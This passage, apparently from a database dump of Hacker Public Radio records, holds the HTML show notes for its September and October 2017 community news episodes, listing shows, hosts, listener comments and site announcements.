href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2382\" target=\"_blank\">2382</a></strong></td>\n    <td>Tue</td>\n    <td>2017-09-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2382\" target=\"_blank\">A Non Spoilery Review of \"git commit murder\" and \"Forever Falls\" by Michael Warren Lucas</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2383\" target=\"_blank\">2383</a></strong></td>\n    <td>Wed</td>\n    <td>2017-09-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2383\" target=\"_blank\">What\'s In My Ham Shack</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=334\" target=\"_blank\">Steve Saner</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2384\" target=\"_blank\">2384</a></strong></td>\n    <td>Thu</td>\n    <td>2017-09-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2384\" target=\"_blank\">Slackware in Scotland</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2385\" target=\"_blank\">2385</a></strong></td>\n    <td>Fri</td>\n    <td>2017-09-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2385\" target=\"_blank\">Healthcare Costs</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2386\" target=\"_blank\">2386</a></strong></td>\n    <td>Mon</td>\n    <td>2017-09-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2386\" target=\"_blank\">The Decline and Fall of Tcl</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2387\" target=\"_blank\">2387</a></strong></td>\n    <td>Tue</td>\n    <td>2017-09-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2387\" target=\"_blank\">Free Weights and a Bicycle</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2388\" target=\"_blank\">2388</a></strong></td>\n    <td>Wed</td>\n    <td>2017-09-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2388\" target=\"_blank\">Apt Spelunking 4: Planet of the Apts</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2389\" target=\"_blank\">2389</a></strong></td>\n    <td>Thu</td>\n    <td>2017-09-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2389\" target=\"_blank\">Thoughts on Lifetime Learning</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2390\" target=\"_blank\">2390</a></strong></td>\n    <td>Fri</td>\n    <td>2017-09-29</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2390\" target=\"_blank\">Still in the game</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 41 comments in total.</p>\n<p>There are 11 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2356#comments\" target=\"_blank\">hpr2356</a></strong>\n(2017-08-14) \"<em>Safely enabling ssh in the default Raspbian Image</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2356#2\" target=\"_blank\">Comment 2</a>:\nsesamemucho on 2017-09-10:\n\"Thanks for pulling this together\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2356#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2017-09-19:\n\"Fantastic\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2358#comments\" target=\"_blank\">hpr2358</a></strong>\n(2017-08-16) \"<em>Amateur radio round table #2</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2358#1\" target=\"_blank\">Comment 1</a>:\nJosh Huber KF6ZZD on 2017-09-25:\n\"Doppler shift of RF at terrestrial speeds\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2360#comments\" target=\"_blank\">hpr2360</a></strong>\n(2017-08-18) \"<em>Tradeoffs in the US Health Care System</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2360#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-09-03:\n\"Still have tradeoffs\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2364#comments\" target=\"_blank\">hpr2364</a></strong>\n(2017-08-24) \"<em>Managing Your Android with AirDroid</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=195\" target=\"_blank\">Frank Bell</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2364#3\" target=\"_blank\">Comment 3</a>:\nBrenda J Butler on 2017-09-20:\n\"Run naked through the googleplex - haha\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2369#comments\" target=\"_blank\">hpr2369</a></strong>\n(2017-08-31) \"<em>Little Meters</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2017-09-01:\n\"Ambient Noise\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#4\" target=\"_blank\">Comment 4</a>:\nNYbill on 2017-09-01:\n\"8008\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#5\" target=\"_blank\">Comment 5</a>:\nMike Ray on 2017-09-01:\n\"Ambient noise and ASMR\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#6\" target=\"_blank\">Comment 6</a>:\nNYbill on 2017-09-01:\"[no title]\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#7\" target=\"_blank\">Comment 7</a>:\nNot Verified on 2017-09-06:\n\"1\"</li>\n<li>\n<a href=\"https://hackerpublicradio.org/eps.php?id=2369#8\" target=\"_blank\">Comment 8</a>:\nNYbill on 2017-09-06:\n\"ESR tester kits.\"</li></ul><br/>\n</li></ul>\n<p>There are 30 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2371#comments\" target=\"_blank\">hpr2371</a></strong>\n(2017-09-04) \"<em>HPR Community News for August 2017</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2371#1\" target=\"_blank\">Comment 1</a>:\nFrank on 2017-09-30:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2371#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-09-30:\n\"We have gone live with the new comment system\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2371#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-09-30:\n\"In the US jelly is also clear and jam isn&#39;t.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2371#4\" target=\"_blank\">Comment 4</a>:\nDave Morriss on 2017-09-30:\n\"Jam versus jelly\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2374#comments\" target=\"_blank\">hpr2374</a></strong>\n(2017-09-07) \"<em>How to Make Sauerkraut</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2374#1\" target=\"_blank\">Comment 1</a>:\njezra on 2017-09-30:\n\"splendid!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2374#2\" target=\"_blank\">Comment 2</a>:\nTony Hughes on 2017-09-30:\n\"Splendid\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2376#comments\" target=\"_blank\">hpr2376</a></strong>\n(2017-09-11) \"<em>Information Underground: 21st Century Superstar</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=73\" target=\"_blank\">deepgeek</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2376#1\" target=\"_blank\">Comment 1</a>:\nA Porkchop on 2017-09-30:\n\"Communities\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2376#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2017-09-30:\n\"Great discussion\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2377#comments\" target=\"_blank\">hpr2377</a></strong>\n(2017-09-12) \"<em>A Rambling Drive Into Work</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" target=\"_blank\">MrX</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2377#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-09-30:\n\"I know you said you didn&#39;t need this, but...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2377#2\" target=\"_blank\">Comment 2</a>:\nthelovebug on 2017-09-30:\n\"Great concept for a show... so I pinched it!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2378#comments\" target=\"_blank\">hpr2378</a></strong>\n(2017-09-13) \"<em>Why Docbook?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2378#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2017-09-30:\n\"kramdown\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2378#2\" target=\"_blank\">Comment 2</a>:\nFlorian on 2017-09-30:\n\"whats so hard about code in a list?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2378#3\" target=\"_blank\">Comment 3</a>:\nKlaatu on 2017-09-30:\n\"Kramdown\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2378#4\" target=\"_blank\">Comment 4</a>:\nKlaatu on 2017-09-30:\n\"github markdown\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2379#comments\" target=\"_blank\">hpr2379</a></strong>\n(2017-09-14) \"<em>sending a text message from the command line</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=243\" target=\"_blank\">Jezra</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2379#1\" target=\"_blank\">Comment 1</a>:\njezra on 2017-09-30:\n\"feedback!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2379#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-09-30:\n\"We do what you ask :)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2379#3\" target=\"_blank\">Comment 3</a>:\njezra on 2017-09-30:\n\"force of habit?\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2380#comments\" target=\"_blank\">hpr2380</a></strong>\n(2017-09-15) \"<em>Raspbian X86 on P4 Tower</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2380#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-09-30:\n\"Glad you posted\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2380#2\" target=\"_blank\">Comment 2</a>:\nKleer Kut on 2017-09-30:\n\"Raspbian x86\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2381#comments\" target=\"_blank\">hpr2381</a></strong>\n(2017-09-18) \"<em>Benefits of a tabletop</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2381#1\" target=\"_blank\">Comment 1</a>:\ngurdonark on 2017-09-30:\n\"good episode\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2381#2\" target=\"_blank\">Comment 2</a>:\nShane Shennan on 2017-09-30:\n\"I like how you put that!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2384#comments\" target=\"_blank\">hpr2384</a></strong>\n(2017-09-21) \"<em>Slackware in Scotland</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=268\" target=\"_blank\">Andrew Conway</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2384#1\" target=\"_blank\">Comment 1</a>:\nsunzofman1 on 2017-09-30:\n\"Still Thriving\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2385#comments\" target=\"_blank\">hpr2385</a></strong>\n(2017-09-22) \"<em>Healthcare Costs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2385#1\" target=\"_blank\">Comment 1</a>:\nb-yeezi on 2017-09-30:\n\"Impressive\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2385#2\" target=\"_blank\">Comment 2</a>:\nBob on 2017-09-30:\n\"More information\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2386#comments\" target=\"_blank\">hpr2386</a></strong>\n(2017-09-25) \"<em>The Decline and Fall of Tcl</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2386#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2017-09-30:\n\"More */Tk\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2386#2\" target=\"_blank\">Comment 2</a>:\nMad Sweeney on 2017-09-30:\n\"Tk is not accessible\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2386#3\" target=\"_blank\">Comment 3</a>:\nclacke on 2017-09-30:\n\"rms flamefest\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2386#4\" target=\"_blank\">Comment 4</a>:\nMad Sweeney on 2017-09-30:\n\"Flamefest\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2388#comments\" target=\"_blank\">hpr2388</a></strong>\n(2017-09-27) \"<em>Apt Spelunking 4: Planet of the Apts</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2388#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2017-09-30:\n\"Wasting shows again\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2388#2\" target=\"_blank\">Comment 2</a>:\njezra on 2017-09-30:\n\"hahah\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-September/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-September/thread.html</a>\n\n\n<h2>Any other business</h2>\n<ul>\n    <li><b>Podcast Awards</b>\n	<p>The <a href=\"https://www.podcastawards.com/\">Podcast Awards</a>\n	    Ceremony is at 5pm PST on September 30th 2017. That is the day on\n	    which this HPR episode is being recorded, and it is also\n	    <a href=\"https://internationalpodcastday.com/\">International Podcast Day</a>!</p>\n	<p>Again this year, HPR is a contender for the <em>Technology Category</em>.</p>\n    </li>\n    <li><b>FOSDEM 2018</b>\n	<p>For the upcoming FOSDEM 2018 we have applied for a <em>Podcaster\'s\n	    Table</em> where a range of technical podcasts (including HPR)\n	    will be promoted. We have collected notes of interest from a wide\n	    range of podcasts, and some representatives will hopefully be able\n	    to join us as we run this table.</p>\n	<p> We are hoping that this application will be approved by the FOSDEM\n	    administrators.</p>\n    </li>\n    <li><b>Website issues</b>\n	<p>Over the past month the HPR website has been very slow at times, or\n	    has been so overloaded that it has effectively been unavailable.\n	    This has been caused by various web robots which have been\n	    scanning the site for long periods in a very inefficient way.</p> \n	<p>We are aware of this and Josh has been taking remedial action.\n	    However, because these robots are not behaving in a standard way,\n	    the range of preventative action is limited without purchasing more\n	    sophisticated tools.</p> \n	<p>For the moment we are monitoring the situation.</p>\n    </li>\n    <li><b>Anhonesthost.com</b>\n	<p>Just a reminder: HPR\'s webhosting service and behind the scenes\n	    facilities are provided free of charge by Josh Knapp of\n	    anhonesthost.com.  </p>\n    </li> \n\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2416,'2017-11-06','HPR Community News for October 2017',4714,'HPR Volunteers talk about shows released and comments posted in October 2017','\n\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2391\" target=\"_blank\">2391</a></strong></td>\n    <td>Mon</td>\n    <td>2017-10-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2391\" target=\"_blank\">HPR Community News for September 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2392\" target=\"_blank\">2392</a></strong></td>\n    <td>Tue</td>\n    <td>2017-10-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2392\" target=\"_blank\">Weather, Ogg Camp, Server Room,  ITO collection</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=129\" target=\"_blank\">JWP</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2393\" target=\"_blank\">2393</a></strong></td>\n    <td>Wed</td>\n    <td>2017-10-04</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2393\" target=\"_blank\">PWGen - A password generator</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=79\" target=\"_blank\">Xoke</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2394\" target=\"_blank\">2394</a></strong></td>\n    <td>Thu</td>\n    <td>2017-10-05</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2394\" target=\"_blank\">The Lost Episode</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2395\" target=\"_blank\">2395</a></strong></td>\n    <td>Fri</td>\n    <td>2017-10-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2395\" target=\"_blank\">Obamacare</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2396\" target=\"_blank\">2396</a></strong></td>\n    <td>Mon</td>\n    <td>2017-10-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2396\" target=\"_blank\">Information Underground: State of independence</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2397\" target=\"_blank\">2397</a></strong></td>\n    <td>Tue</td>\n    <td>2017-10-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2397\" target=\"_blank\">The Urban Astronomer</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2398\" target=\"_blank\">2398</a></strong></td>\n    <td>Wed</td>\n    <td>2017-10-11</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2398\" target=\"_blank\">AutoHotkey Master of Automation ?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=36\" target=\"_blank\">operat0r</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2399\" target=\"_blank\">2399</a></strong></td>\n    <td>Thu</td>\n    <td>2017-10-12</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2399\" target=\"_blank\">Using Super Glue to create Landmarks on Keyboards</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=151\" target=\"_blank\">dodddummy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2400\" target=\"_blank\">2400</a></strong></td>\n    <td>Fri</td>\n    <td>2017-10-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2400\" target=\"_blank\">My commute into work</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=314\" target=\"_blank\">thelovebug</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2401\" target=\"_blank\">2401</a></strong></td>\n    <td>Mon</td>\n    <td>2017-10-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2401\" target=\"_blank\">Music Theory Hara-Kiri</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2402\" target=\"_blank\">2402</a></strong></td>\n    <td>Tue</td>\n    <td>2017-10-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2402\" target=\"_blank\">Petition: the card game for fanatics</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2403\" target=\"_blank\">2403</a></strong></td>\n    <td>Wed</td>\n    <td>2017-10-18</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2403\" target=\"_blank\">Amateur Radio Round Table #3</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=109\" target=\"_blank\">Various Hosts</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2404\" target=\"_blank\">2404</a></strong></td>\n    <td>Thu</td>\n    <td>2017-10-19</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2404\" target=\"_blank\">Open Source Gaming #1: Meridian59</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=354\" target=\"_blank\">TheDUDE</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2405\" target=\"_blank\">2405</a></strong></td>\n    <td>Fri</td>\n    <td>2017-10-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2405\" target=\"_blank\">Nokia 6 Review</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=338\" target=\"_blank\">Tony Hughes AKA TonyH1212</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2406\" target=\"_blank\">2406</a></strong></td>\n    <td>Mon</td>\n    <td>2017-10-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2406\" target=\"_blank\">Putting Ends onto CAT6 Ethernet Cables</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2407\" target=\"_blank\">2407</a></strong></td>\n    <td>Tue</td>\n    <td>2017-10-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2407\" target=\"_blank\">The Lost Episode Part 2</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2408\" target=\"_blank\">2408</a></strong></td>\n    <td>Wed</td>\n    <td>2017-10-25</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2408\" target=\"_blank\">My Current Favourite Podcasts</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=250\" target=\"_blank\">Shane Shennan</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2409\" target=\"_blank\">2409</a></strong></td>\n    <td>Thu</td>\n    <td>2017-10-26</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2409\" target=\"_blank\">RPG Counternote</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2410\" target=\"_blank\">2410</a></strong></td>\n    <td>Fri</td>\n    <td>2017-10-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2410\" target=\"_blank\">OLF 2017 Report</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2411\" target=\"_blank\">2411</a></strong></td>\n    <td>Mon</td>\n    <td>2017-10-30</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2411\" target=\"_blank\">Information Underground: Co-op Paradise</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=107\" target=\"_blank\">lostnbronx</a></td>\n    </tr>\n    <tr valign=\"top\">\n    